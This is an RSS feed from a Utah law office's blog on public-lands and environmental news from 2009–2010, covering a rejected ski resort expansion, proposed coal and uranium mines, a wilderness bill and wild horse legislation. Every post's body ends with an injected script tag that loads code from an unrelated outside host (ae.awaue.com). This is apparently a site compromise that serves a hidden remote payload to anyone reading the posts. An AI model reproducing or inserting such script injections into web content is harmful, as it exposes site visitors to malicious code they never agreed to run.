<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Ban Law Office PC - Utah Veterans Disability, Utah Environmental Law &#187; Public Lands</title>
	<atom:link href="http://www.banlawoffice.com/category/utah-environmental-news/publiclands/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.banlawoffice.com</link>
	<description>representation of the disabled • Call 1-801-532-2447 • no fee unless you win </description>
	<lastBuildDate>Sun, 11 Jul 2010 21:50:13 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Solitude Expansion Denied!</title>
		<link>http://www.banlawoffice.com/2010/06/17/solitude-expansion-denied/</link>
		<comments>http://www.banlawoffice.com/2010/06/17/solitude-expansion-denied/#comments</comments>
		<pubDate>Fri, 18 Jun 2010 01:14:26 +0000</pubDate>
		<dc:creator>Joel</dc:creator>
				<category><![CDATA[Public Lands]]></category>

		<guid isPermaLink="false">http://www.banlawoffice.com/?p=814</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.banlawoffice.com/2010/06/17/solitude-expansion-denied/p1010502/" rel="attachment wp-att-815"><img src="http://www.banlawoffice.com/wp-content/uploads/P1010502-300x225.jpg" alt="P1010502" title="P1010502" width="300" height="225" class="alignleft size-medium wp-image-815" /></a></p>
<p style="font-family: times; font-size: 16px">In what could be called a somewhat surprising and positive development in terms of preserving Central Wasatch wilderness the Forest Service recently rejected Solitude Ski Resort&#8217;s proposed expansion into the East side of Silver Fork Creek.  According to Brian Ferebee, supervisor of the Uinta-Wasatch-Cache National Forest, said the request was rejected because:<br />
» The proposed expansion is inconsistent with the 2003 Forest Plan;<br />
» The proposed use would be inconsistent with the purposes for which the land is managed;<br />
» The proposed expansion would not be in the public interest.<br />
The Forest Service should be commended because sometimes they look the other way on Forest Plan violations and whether something is in the public interest is always debatable, and more often than not the agency would err on the side of development.  Silver Fork is an area that is to be protected for its watershed values and is apparently designated as such in the Forest Plan.   No scientific survey but I&#8217;ve never seen solitude as such a prime destination for skiers and was baffled as to what demand there was for the proposed expansion.</font><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.banlawoffice.com/2010/06/17/solitude-expansion-denied/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>2010 Great Salt Lake Issues Forum</title>
		<link>http://www.banlawoffice.com/2010/04/04/2010-great-salt-lake-issues-forum/</link>
		<comments>http://www.banlawoffice.com/2010/04/04/2010-great-salt-lake-issues-forum/#comments</comments>
		<pubDate>Sun, 04 Apr 2010 23:37:14 +0000</pubDate>
		<dc:creator>Joel</dc:creator>
				<category><![CDATA[Public Lands]]></category>

		<guid isPermaLink="false">http://www.banlawoffice.com/?p=787</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<p style="font-family: times; font-size: 16px">The Issues Forum website is just about finished &#8211; just a few missing pieces of information &#8211; but essentially everything is there. Please take a look &#8211; www.fogsl.org/issuesforum/2010/<br />
Registration is up and running.<br />
Understanding that a 3 day Forum program does not fit everyone&#8217;s availability, FRIENDS is offering a single day registration option to encourage people to attend &#8211; even if for one day.<br />
Now the only thing left to do is to get the word out to build a strong attendance worthy of the program we have to offer. And that&#8217;s why I am asking for your help.<br />
Could you help me by forwarding this information to your circle of contacts encouraging them to support FRIENDS and Great Salt Lake by registering for the Forum?<br />
We are still accepting abstracts for the Poster Session. I know there is a lot of Great Salt Lake work going on. Let&#8217;s share that collective resource and generate an opportunity for lively discussion and recognition of discovery about our lake.<br />
FRIENDS believes that for the many threats that Great Salt Lake faces every day, not having its own water is probably the greatest of them all. The focus of the Forum is timely and critical so let&#8217;s get the word out. </font><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.banlawoffice.com/2010/04/04/2010-great-salt-lake-issues-forum/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Proposed Strip Coal Mine near Bryce National Park could be first in Utah</title>
		<link>http://www.banlawoffice.com/2009/11/19/proposed-strip-coal-mine-near-bryce-national-park-could-be-first-in-utah/</link>
		<comments>http://www.banlawoffice.com/2009/11/19/proposed-strip-coal-mine-near-bryce-national-park-could-be-first-in-utah/#comments</comments>
		<pubDate>Thu, 19 Nov 2009 19:05:41 +0000</pubDate>
		<dc:creator>Joel</dc:creator>
				<category><![CDATA[Public Lands]]></category>
		<category><![CDATA[Utah Environmental News]]></category>

		<guid isPermaLink="false">http://www.banlawoffice.com/?p=669</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.banlawoffice.com/2009/11/19/proposed-strip-coal-mine-near-bryce-national-park-could-be-first-in-utah/400px-2005-12-27_gk_usa_brycecanyon-3/" rel="attachment wp-att-674"><img src="http://www.banlawoffice.com/wp-content/uploads/400px-2005-12-27_GK_USA_BryceCanyon2-300x63.jpg" alt="400px-2005-12-27_GK_USA_BryceCanyon" title="400px-2005-12-27_GK_USA_BryceCanyon" width="300" height="63" class="alignleft size-medium wp-image-674" /></a></p>
<p style="font-family: times; font-size: 16px">A coalition of National and Utah environmental groups including SUWA, NRDC, and Sierra Club filed a petition against the proposed Coal Hollow Strip mine that would be located just west of Bryce National Park.  The petition will follow a state process and was filed with the state agency Utah Division of Oil, Gas, and Mining.  Obviously, there is worry that such a blight should not be located so close to a national treasure, but there are concerns the mine could foul air, water, and cultural resources in the area.  The permit allows for mining of 2 million tons of coal per year for approximately three years. The permit was approved shortly after a meeting between the mine developer—Alton Coal Development—and Utah Governor Gary Herbert. Mining operations will require up to 300 coal truck trips per day traveling 110 miles oneway from Alton to Cedar City, which could result in one truck leaving the site every seven minutes. The coal-haul route would run through several small towns along State Highway 89, including Panguitch, a town recently placed on the National Register of Historic Places. </font></p>
<p style="font-family: times; font-size: 16px">There is legitimate concern here that such a project would not only impact area towns and Bryce National Park due to the fact that the Park receives over 1.5 million visitors every year.  Unfortunately, this project is actually just a small portion of a much larger proposal to strip mine an even greater area that would create one large contiguous strip mine area that would amount to around 46 million tons of coal to be mined over 15 years.  This according to SUWA attorney Steve Bloch.  </font><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.banlawoffice.com/2009/11/19/proposed-strip-coal-mine-near-bryce-national-park-could-be-first-in-utah/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SUWA Wilderness Bill Finally Gets Hearing</title>
		<link>http://www.banlawoffice.com/2009/09/17/suwa-wilderness-bill-finally-gets-hearing/</link>
		<comments>http://www.banlawoffice.com/2009/09/17/suwa-wilderness-bill-finally-gets-hearing/#comments</comments>
		<pubDate>Thu, 17 Sep 2009 20:10:49 +0000</pubDate>
		<dc:creator>Joel</dc:creator>
				<category><![CDATA[Public Lands]]></category>
		<category><![CDATA[Utah Environmental News]]></category>

		<guid isPermaLink="false">http://www.banlawoffice.com/?p=615</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<p style="font-family: times; font-size: 16px">The Red Rocks Wilderness Act, a bill long championed by the Southern Utah Wilderness Alliance will get a congressional hearing after heavy campaigning for 20 years.  The bill was first introduced in 1989 and has been reintroduced every year since with many co-sponsors although mostly without support from Utah House and Senate members.  The bill seeks to designate 9.4 million acres of federal BLM land in Utah as wilderness, protecting it against future mining or development. It is sponsored by Rep. Maurice Hinchey, D-N.Y., who has been a long time proponent of the bill.  Unfortunately the bill is long shot since no Utah senators or house members support the bill.  Many of the other large national environmental groups such as Sierra Club, The Wilderness Society, Earthjustice and the Natural Resources Defense Council also support the bill.  BLM land in general seems to have much less land designated as wilderness compared to Forest Service land, and in Utah this is especially true since much of this land has oil/gas extraction potential.   Despite the odds its still recommended that you contact Representatives Chafetz, Matheson, and Bishop to ask for their support. </p>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.banlawoffice.com/2009/09/17/suwa-wilderness-bill-finally-gets-hearing/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SE Utah Uranium Mine Challenged</title>
		<link>http://www.banlawoffice.com/2009/07/31/se-utah-uranium-mine-challenged/</link>
		<comments>http://www.banlawoffice.com/2009/07/31/se-utah-uranium-mine-challenged/#comments</comments>
		<pubDate>Sat, 01 Aug 2009 06:22:27 +0000</pubDate>
		<dc:creator>Joel</dc:creator>
				<category><![CDATA[Public Lands]]></category>
		<category><![CDATA[Radiation]]></category>
		<category><![CDATA[Utah Environmental News]]></category>

		<guid isPermaLink="false">http://www.banlawoffice.com/?p=453</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<p style="font-family: times; font-size: 16px">Utah&#8217;s first new Uranium Mine in three decades, the Daneros Mine, is being challenged by Southern Utah Wilderness Alliance <a href="http://www.suwa.org">SUWA </a>and <a href="http://www.uraniumwatch.org">Uranium Watch</a>.  The BLM approved the permits allegedly without adequate environmental review and now the company&#8217;s intention to begin mining in September of this year is apparently on hold.  A new Uranium boom has hit SE Utah, and although it may not as be as large as the one from the cold war era we have yet to see its full effects.  The market for Uranium has recently dropped from a high of $135 per pound 2 years ago to the current $47 per pound.  Other Uranium Mines are either proposed or may be operating in this region.  The groups allege that impacts to air and water have likely not been studied, and that the emissions of radon, which is known to cause serious human health consequences such as cancer have not been adequately analyzed.  The BLM will consider the groups request to review the adequacy of environmental review, and will apparently hold up operations until such review is complete.  An Australian Company, White Canyon Uranium, operates the Daneros Mine.  </p>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.banlawoffice.com/2009/07/31/se-utah-uranium-mine-challenged/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>House Aims to Recover Wild Horses in West</title>
		<link>http://www.banlawoffice.com/2009/07/17/wild-horses-to-recover-in-west/</link>
		<comments>http://www.banlawoffice.com/2009/07/17/wild-horses-to-recover-in-west/#comments</comments>
		<pubDate>Sat, 18 Jul 2009 04:59:41 +0000</pubDate>
		<dc:creator>Joel</dc:creator>
				<category><![CDATA[Public Lands]]></category>

		<guid isPermaLink="false">http://www.banlawoffice.com/?p=302</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.banlawoffice.com/?attachment_id=422" rel="attachment wp-att-422"><img src="http://www.banlawoffice.com/wp-content/uploads/whb3-150x150.jpg" alt="whb3" title="whb3" width="150" height="150" class="alignleft size-thumbnail wp-image-422" /></a></p>
<p style="font-family: times; font-size: 16px">The BLM has been derelict in its duty for some time to help manage the struggling wild horse population throughout the west.  This is especially true in Nevada but also impacts the wild horse populations in western Utah.  The House passed a bill to further protect wild horses by a vote of 239-185, however Utah&#8217;s entire house delegation voted against the bill citing reasons such as the need to focus on the economy and Rep. Matheson claimed there is insufficient food and range for wild horses.  Approximately 36,000 Wild Horses comprise its western range and the BLM claims this is approximately 9,000 more than the ecology can support.  </p>
<p style="font-family: times; font-size: 16px">The bill aims to reduce the amount of time that horses wait in holding and adoption pens and would ease the government&#8217;s ability to make arrangements for wild horses on private lands.  Tragically, many wild horses are slaughtered abroad and there is no discussion of reducing welfare livestock ranching on public lands even though the number of livestock on public lands far exceeds wild horses in the west.  Given a choice it would seem that Americans would be in favor of reducing the number of livestock on public lands instead of giving up on wild horses in the west.  </p>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.banlawoffice.com/2009/07/17/wild-horses-to-recover-in-west/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
